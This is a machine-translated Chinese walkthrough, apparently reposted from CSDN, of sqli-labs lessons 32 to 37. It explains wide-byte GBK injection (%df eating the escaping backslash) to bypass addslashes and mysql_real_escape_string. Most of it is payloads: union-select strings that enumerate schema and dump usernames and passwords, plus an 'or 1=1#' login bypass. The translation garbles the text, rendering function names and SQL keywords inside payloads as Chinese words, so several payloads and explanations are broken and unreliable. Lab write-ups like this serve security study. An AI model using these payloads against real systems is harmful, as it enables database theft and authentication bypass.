文章目录
宽咬合注射宽咬合注射的原理是什么?
减_32减_33减_34减_35减_36减_37
宽字节注入
什么是宽字节?
如果字符大小为1字节,则称为窄字节,如果字符大小为2字节,则称为宽字节。
GB2312、GBK、GB18030、BIG5、Shift_JIS等编码通常称为宽字节,即只有2个字节,默认英文占1个字节,中文占2个字节。
宽字节注入原理
SQL注入中一个非常重要的步骤是关闭引号和跳转到引号之外。如果你不能跳到引号之外,那么你输入的内容将永远在引号之内,而你输出的内容也会跳到引号之外。必须始终是一个字符串。
php\\ 有转义字符来转义敏感信息或输入的特殊字符。
也就是说,转义时,单引号\’变成了\\\’,输入内容被视为转义字符串,无法实现对字符串进行换行的功能,因此因宽字节注入而失去了转换的意义。逃脱的角色
\\ 转义字符被编码为%5c。找到另一半并创建新角色%df%5c。
%df 以反斜杠URL 编码%5C 结尾,在GBK 国标编码中,它形成汉字“连”,并“吃掉”了用于转义的反斜杠。
Less_32
sqli-labs – 论文分类
当我输入?id=1\’ 时,页面没有报告错误,但我可以看到单引号被转义了。
使用单引号时使用宽字节注入
?id=1%df\’ 订购4 件–+
?id=-1%df\’ 连接选择1,database(),3–+
?id=-1%df\’ 联合选择1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
请注意,您必须将数据库名称替换为其十六进制(HEX) 编码,以避免使用单引号。
?id=-1%df\’ 联合选择1,group_concat(column_name),3 来自information_schema.columns,其中table_name=0x7573657273–+
?id=-1%df\’ 合并security.users 中的选择1,group_concat(用户名,密码),3 –+
Less_33
与上一个问题一样,插入单引号,但单引号被转义。
函数check_addslashes($string)
{
$string=添加睫毛($string);
返回$字符串。
}
我们看一下源码
addslashes: 返回一个字符串,在转义字符之前需要有反斜杠。
这些字符是
撇号(\’)
双引号(\’)
反斜杠(\\)
NUL(NUL 字节)
或者使用%df 绕过它
Less_34
这个问题是关于POST 类型注入,上面添加到过滤函数的\\ 也用单引号转义。但是,由于get 方法以URL 的形式发送数据,因此数据是经过URL 编码传递的。
要使用后类型注入,请将UTF-8 转换为UTF-16 或UTF-32 转换为UTF-16。
请使用通用密码“”或1=1#
您可以确认您的登录成功。
原来的SQL语句是:
从用户中选择用户名和密码,其中用户名=\’$uname\’和密码=\’$passwd\’ LIMIT 0,1
然后输入后会是这样的
从用户中选择用户名、密码,其中用户名=\’\’或1=1#\’且密码=\’1\’ LIMIT 0,1
可以看到前面关闭成功,并且#下面的语句被注释掉了,所以登录成功了。
Less_35
为什么不先尝试一下呢?
接下来,查看源代码。
从用户中选择*,其中id=$id LIMIT 0,1
可以看到ID没有用\’and\’括起来。所以addslashes函数实际上可以忽略。
请写出与第一个问题相同的内容。
订单号为?id=1 4 –+
?id=-1 并集选择1,database(),3–+
?id=-1\’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\’security\’–+
?id=-1\’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\’users\’–+
?id=-1 联合选择1,group_concat(用户名,密码),3 来自security.users–+
Less_36
单引号注入、字符转义和宽字节注入还是够用的,不过还是用上面的方法写
检查源代码:
函数check_quotes($string)
{
$string=mysql_real_escape_string($string);
返回$字符串。
}
check_quotes函数使用mysql_real_escape_string函数进行过滤。
mysql_real_escape_string — 转义字符串中的特殊字符以在SQL 语句中使用
在以下字符前添加反斜杠:\\x00、\\n、\\r、\\、\’、\’ 和\\x1a
Less_37
提供34 个问题通用密码
因为与问题34唯一的区别在于函数的过滤方式。
第34题增加了冲刺
第37题是mysql_real_escape_string,但是原理类似。
然后你也可以拿起你的包了。
uname=1%df\’passwd=1submit=提交时您将收到错误消息
我注释掉了,发现登录错误。
uname=1%df\’ 订购3件–+passwd=1submit=提交
uname=-1%df\’ 连接选择1,2
uname=-1%df\’ 并集选择1,database()–+passwd=1submit=提交
uname=-1%df\’ Union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()–+passwd=1submit=提交
uname=-1%df\’ Union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273–+passwd=1submit=提交
uname=-1%df\’ Union select 1,group_concat(用户名,密码) from security.users–+passwd=1submit=提交
以上#Sqli相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93807.html